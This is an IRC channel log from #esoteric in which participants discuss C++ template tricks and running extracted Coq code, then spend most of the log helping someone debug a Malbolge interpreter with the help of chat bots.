https://gist.github.com/olsner/608575 for decoding types using the C++ compiler a while ago < 1395180222 495793 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395180225 474925 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :the "c++0x" stuff may need tweaks for c++11 though < 1395180274 380569 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I like that your useful practical tool also happens to be a shell / C++ polyglot < 1395180345 792768 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :this is a good example of C++ templates doing something that neither macros nor well-behaved generics can do < 1395180390 934109 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1395180392 596078 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395180437 291554 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :kmc, is that... is that a good thing or a bad thing < 1395180472 235279 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1395180485 422722 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :Taneb: arguably < 1395180490 503030 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :that C++ templates can do these things? < 1395180494 481839 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Yes < 1395180629 12063 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :C++ exists beyond good and evil < 1395180791 730909 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :since it's just pattern matching on smaller and smaller types (structural recursion?) I think these templates are about as well-behaved as they come < 1395181542 497658 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I guess so < 1395181576 708215 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :template specialization is ad-hoc overloading but you can do similar things in systems that are less ad-hoc < 1395181995 722081 :stopreadingthis_!~chatzilla@72-28-222-028-dhcp.mia.fl.atlanticbb.net JOIN :#esoteric < 1395183301 388698 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Gregor: is HackEgo coming back? :< < 1395184349 270447 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fungot: is Gregor coming back? < 1395184349 383346 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :oerjan: i am just as confused. you, in numbers apparently inexhaustible, were all from me at your computer you might be here too. i'll go and invite your friends, his state vsurp'd, his realme a slaughter-house, his subjects, the european council decided at its meeting on 30 april, or even this very difficult issue is discussed, it should be deleted, not merged. but new england flood of may, 1765, curwen's only child, it's anci < 1395184378 286486 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i take it you are uncertain about this. < 1395185761 482424 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1395185870 794683 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 252 seconds < 1395185922 478675 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Is it possible to write a web server in Coq? < 1395185965 952052 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be QUIT :Quit: Leaving < 1395186030 233611 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Sgeo: you can extract coq programs to other languages after typechecking < 1395186033 753740 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ocaml and haskell at least < 1395186051 488407 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Could that be hidden as part of a build process? < 1395186120 937300 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i presume so < 1395186252 631601 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :Sgeo: If you are looking to write a webserver in a dependently typed language, idris might be better suited (not to say you can't do it in coq if you want to) < 1395186280 175457 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I'm thinking about reading Certified Programming with Dependent Types < 1395186284 954828 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :whoa it's maurer < 1395186285 509604 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :hi < 1395186289 808897 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :Hallo. < 1395186290 28952 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Also, Idris doesn't seem production-ready < 1395186296 841684 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(Not that I would really use this in production) < 1395186305 717190 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :Sgeo: Coq extracted code is not really production ready either < 1395186314 979968 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :maurer: sadly one of our most interesting bots is out sick right now < 1395186344 495646 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Ah :/ < 1395186348 57362 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the one that for each command boots up a User Mode Linux instance, runs the command, and then merges filesystem changes using Mercurial < 1395186361 743178 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but fungot will keep us company in the meantime < 1395186361 797509 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: agora alice c64 ct darwin discworld europarl ff7 fisher ic irc* jargon lovecraft nethack pa speeches ss wp youtube < 1395186364 405599 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :haurer < 1395186374 330036 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fungot: why did you list your ^styles just now? < 1395186374 442086 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: c has an ignore restarter, restart/ ignore do? the symbols, pairs, procedures, and so am i just being anal here or am i misunderstanding how these were the people skills of a plane < 1395186388 49127 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fungot source: https://github.com/fis/fungot/blob/master/fungot.b98 < 1395186388 160649 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: is. absorb it on my door, which was just perceptibly fnord and this yields nothing itself; it keeps being removed, the queen is a vain. yes, it's all right, it's been awhile prometheus! < 1395186463 150165 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395186463 205086 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1395186536 398793 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :but fungot will keep us company in the meantime < 1395186536 509180 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Sgeo: uninterned symbols, pairs, procedures, and so am i just being anal here or am i misunderstanding how these were the people skills of a plane < 1395186544 82617 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :Sgeo: In essence, you can run coq in the same sense you can run agda < 1395186559 229911 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :There's a way to do it, but runtime behavior is not necessarily bug free < 1395186646 256136 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395186984 515384 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Isn't there some CoqWeb thing? < 1395186994 850195 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :All software should be free as in seats. < 1395188217 823689 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :free as in nothing left to lose < 1395188252 544791 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :kmc, help I am really nervous right now and I do not know why < 1395188343 35574 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :damn < 1395188350 28784 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I don't know how I can help < 1395188385 364454 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I think it may because I ate some cheese really quickly < 1395188883 132904 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :So far nothing bad has happened < 1395189075 340060 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :Taneb: free seats are seats that aren't being used. therefore you mean that all software should not be used? < 1395189111 20094 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Yes < 1395189130 922363 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :So if anyone wants to use any software, they can just find it and use it < 1395189140 639738 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Because nobody else is < 1395189210 877034 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :free beer speech seats < 1395189276 911160 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :Taneb: rather, if anyone wants to use any software, they shouldn't < 1395190006 8808 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :im having trouble making a malbolge inturpreter < 1395190027 384863 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :methinks i am loading the program wrong < 1395190030 730572 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :what is the format < 1395190063 839820 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :im doing a base conversion from "!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~" to "012" < 1395190093 583312 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :then splitting it by 10 trits < 1395190142 216354 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :wait < 1395190156 166140 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :i probably did it horribly wrong < 1395190203 626852 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well the input should be ASCII codes < 1395190247 59488 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :so a string.byte? ._. < 1395190268 171180 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :possibly... < 1395190325 459508 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :in particular, ! would be 33 in decimal or ...lessee... 1020 in trinary < 1395190425 614735 :constant!root@freebsd/developer/variable JOIN :#esoteric < 1395190485 606842 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@run showIntAtBase 3 intToDigit (ord '!') "" < 1395190487 15074 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : "1020" < 1395190494 77113 :drlemon!~drlemon@cpe-108-185-0-32.socal.res.rr.com QUIT :Ping timeout: 255 seconds < 1395190527 846455 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :cool < 1395190528 591757 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :20<pong>30 .mb (=<`#9]~6ZY32Vx/4Rs+0No-&Jk)"Fh}|Bcy?`=*z]Kw%oG4UUS0/@-ejc(:'8dc < 1395190529 17870 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :-18^v- pong, Üù``AJ¥óú¸X < 1395190550 920629 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :(^v is a bot on that net, and i am pong) < 1395190568 68063 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :there are probably more characters though < 1395190578 294428 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :it removes invalid ones < 1395190592 192450 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :but yeah, it no werk < 1395190605 461820 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :technically i believe you should err out on invalid ones < 1395190629 592982 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :well the removing part is in my respond function < 1395190649 413042 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :so i dont have to filter newlines n stuff for every single function < 1395190660 248749 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well duh < 1395190678 178700 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :hmm < 1395190693 227596 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :this is the first time i got it to print something < 1395190707 637947 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i mean that the input reading should err out on invalid characters, only whitespace should be ignored < 1395190730 104989 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :i might have just fcked up the instruction that changes a < 1395190755 77186 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :oerjan, i do a gsub to remove invalid chars .-. < 1395190853 37102 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh well < 1395190975 912253 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :removed some mod 3^10 and got -18^v- pong, §ç&ñFÏ‘æT < 1395191100 969455 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :note as usual that the reference interpreter and original specification don't match each other on i/o. < 1395191109 849209 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :in case you are working from the latter. < 1395191123 761833 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(the wiki has a specification based on the interpreter) < 1395191142 989545 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :im working from the wiki < 1395191156 65003 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :good, good < 1395191217 199268 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :note one advantage to erring out on invalid characters is that you actually get a warning if your program reading is buggy... < 1395191254 99187 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh and btw you cannot detect those with regexp, i think. < 1395191267 765935 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :because they depend on the mod 94 position. < 1395191279 559920 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :am i supposed to increment c after every instruction < 1395191292 262520 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :even if it jumped? < 1395191323 804374 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm how was that < 1395191352 651004 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :c=mem[d] < 1395191389 239298 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :when inturpreting assembly i dont increment eip if it was changed by jmp < 1395191541 162990 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm i think you are. < 1395191674 34396 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yep you are, checked the c interpreter there is no special case for i. < 1395191708 90006 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :ok < 1395191750 837220 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :-18^v- pong, §ƒwwsX¶¥,?Óñ < 1395191753 924678 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :this is strange < 1395191786 458810 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :the repeating ww is similar to the repeating ll in hello < 1395191799 117885 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :heh < 1395191818 894352 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :those are not ascii characters though. < 1395191849 778426 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :dammit hackego is gone < 1395191871 97917 :Bike_!~Glossina@67-5-246-69.ptld.qwest.net JOIN :#esoteric < 1395191879 314344 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^ord §ƒwwsX¶¥,?Óñ < 1395191879 527767 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :194 167 198 146 119 119 115 88 194 182 194 165 44 63 195 147 195 177 < 1395191887 125743 :Bike!~Glossina@67-5-254-249.ptld.qwest.net QUIT :Ping timeout: 264 seconds < 1395191893 245735 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :aww, i like hack ego < 1395191901 518165 :Bike_!~Glossina@67-5-246-69.ptld.qwest.net NICK :Bike < 1395191903 471809 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :also, my client probbably turned into unicode < 1395191906 642230 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it has a command for calculating unicode codepoints < 1395191909 960925 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :leme get an actual hex dump < 1395191952 65133 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :my client would have turned it into unicode too, anyway < 1395191952 497987 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :or wait hm < 1395191956 924880 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :> map ord "§ƒwwsX¶¥,?Óñ" < 1395191957 245669 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't resolve type class 12Functor f < 1395191958 248767 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : [167,402,119,119,115,88,182,165,44,63,211,241] < 1395191965 32705 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that's better < 1395191993 22179 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :mfw < 1395191995 512755 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric : 0xA70x830x770x770x730x580xB60xA50x2C0x3F0xD30xF1 < 1395192002 750553 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :oh, im confused by the 0x < 1395192016 223271 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :> map (chr.(+(-11)).ord) "§ƒwwsX¶¥,?Óñ" < 1395192016 329362 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable chr. < 1395192017 765596 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : "\156\391llhM\171\154!4\200\230" < 1395192023 682280 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :0xA7 0x83 0x77 0x77 0x73 0x58 0xB6 0xA5 0x2C 0x3F 0xD3 0xF1 < 1395192032 565982 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that doesn't look like it helped < 1395192062 436938 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!malbolge (=<`#9]~6ZY32Vx/4Rs+0No-&Jk)"Fh}|Bcy?`=*z]Kw%oG4UUS0/@-ejc(:'8dc < 1395192062 770844 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :Hello World! < 1395192101 187516 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well you are printing the right _number_ of characters, which is sort of a hint that everything used other than output is working < 1395192118 535624 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :how are you storing trits < 1395192178 27673 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@run zipWith ((-)`on`ord) "Hello World!" "§ƒwwsX¶¥,?Óñ" < 1395192179 204475 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : [-95,-301,-11,-11,-4,-56,-95,-54,70,45,-111,-208] < 1395192182 35299 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :as numbers < 1395192214 875199 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :then i use base conversion when i need to rotate them < 1395192236 487559 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :though can probably use some math instead < 1395192241 812266 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yes. < 1395192273 273166 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :also when using crz < 1395192314 819152 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :this is strange /me slaps wikipedia < 1395192323 404857 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :For example, crz 0001112220, 0120120120 gives 100102221. < 1395192336 878818 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@run zipWith ((,)`on`ord) "Hello World!" "§ƒwwsX¶¥,?Óñ" < 1395192338 390192 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : [(72,167),(101,402),(108,119),(108,119),(111,115),(32,88),(87,182),(111,165)... < 1395192366 38994 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :yet the table says different < 1395192382 406297 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :the table says 2,2 = 1 < 1395192395 228908 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :but the second to last digit is 2 < 1395192400 824625 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1395192404 382486 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395192422 585732 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :um are you using the wikipedia specification, i was looking at esolang. not that there should be a difference < 1395192443 107949 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :the tables are same < 1395192453 866765 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :just the wikipedia example is weird < 1395192546 91587 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 255 seconds < 1395192548 598232 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :there are spurious last 0 digits in the arguments < 1395192550 768183 :tromp___!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395192558 830143 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no wait < 1395192583 762445 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :there's a missing digit in the answer, of course < 1395192594 967542 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it's only 9 digits < 1395192597 290684 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*trits < 1395192649 342255 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1395192708 184475 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :/stab wikipedia < 1395192775 586373 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :someone misunderstood what the numbers were for https://en.wikipedia.org/w/index.php?title=Malbolge&diff=590632950&oldid=587042925 < 1395192882 775199 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i should have noticed that edit, i watch that page < 1395192909 206441 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :progress! i forgot to increment d < 1395192918 180384 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric : @run zipWith ((,)`on`ord) "Hello World!" "fYnnóྐྵfB!" < 1395192922 430181 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :derp < 1395192923 136504 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :undid that misedit < 1395192925 57963 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :@run zipWith ((,)`on`ord) "Hello World!" "fYnnóྐྵfB!" < 1395192926 278813 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:42: < 1395192926 393332 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : lexical error in string/character literal at character '\157' < 1395192960 219166 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@run zipWith ((,)`on`ord) "Hello World!" "fYnn]óྐྵfB!" < 1395192961 915439 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : [(72,102),(101,89),(108,110),(108,110),(111,93),(32,243),(87,224),(111,190),... < 1395192973 812523 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^v: you must use utf8 with lambdabot. < 1395193013 367699 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :interesting, ! is now correct :P < 1395193059 279677 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@run zipWith ((-)`on`ord) "Hello World!" "fYnn]óྐྵfB!" < 1395193060 730350 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : [-30,12,-2,-2,18,-211,-137,-79,-71,6,34,0] < 1395193083 290227 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :funny how you're still printing the right number of characters < 1395193101 680180 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm an idea... < 1395193116 381783 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^v: are you remembering to initialize the rest of memory correctly? < 1395193130 239856 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :yeah i should be doing that properly < 1395193144 842804 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :ill try offseting it and seeing if i derpd < 1395193151 930104 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :It is apparent that malbolge is not only hard to write programs for, it is also hard to write programs to. < 1395193197 578539 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@run zipWith ((xor)`on`ord) "Hello World!" "fYnn]óྐྵfB!" < 1395193199 24848 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : [46,60,2,2,50,211,183,209,203,10,38,0] < 1395193228 603439 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i can't see any _obvious_ connection between the right and wrong chars < 1395193314 179933 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :does hello world use jump? < 1395193323 436469 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :perhaps that program simpl... precisely what i was going to say < 1395193365 346174 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :because if not, then as long as you are doing the right instructions, but wrongly, you would get the right number of output but completely scrambled < 1395193450 826326 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!malbolge (=<`#9]~6ZY32Vx/4Rs+0No-&Jk)" < 1395193451 646515 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​.. \ \ .N0l < 1395193457 705842 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!malbolge (=<`#9] < 1395193458 189526 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :No output. < 1395193469 721317 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!malbolge (=<`#9]~6ZY32Vx/ < 1395193470 207910 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​.==Y < 1395193473 967129 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!malbolge (=<`#9]~6ZY3 < 1395193474 526417 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​..NN < 1395193477 692194 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!malbolge (=<`#9]~6 < 1395193478 287219 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​.o < 1395193482 510392 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!malbolge (=<`#9]~ < 1395193482 957632 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​.$ < 1395193487 236489 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!malbolge (=<`#9 < 1395193488 59898 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​# < 1395193491 321530 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!malbolge (=< < 1395193491 804081 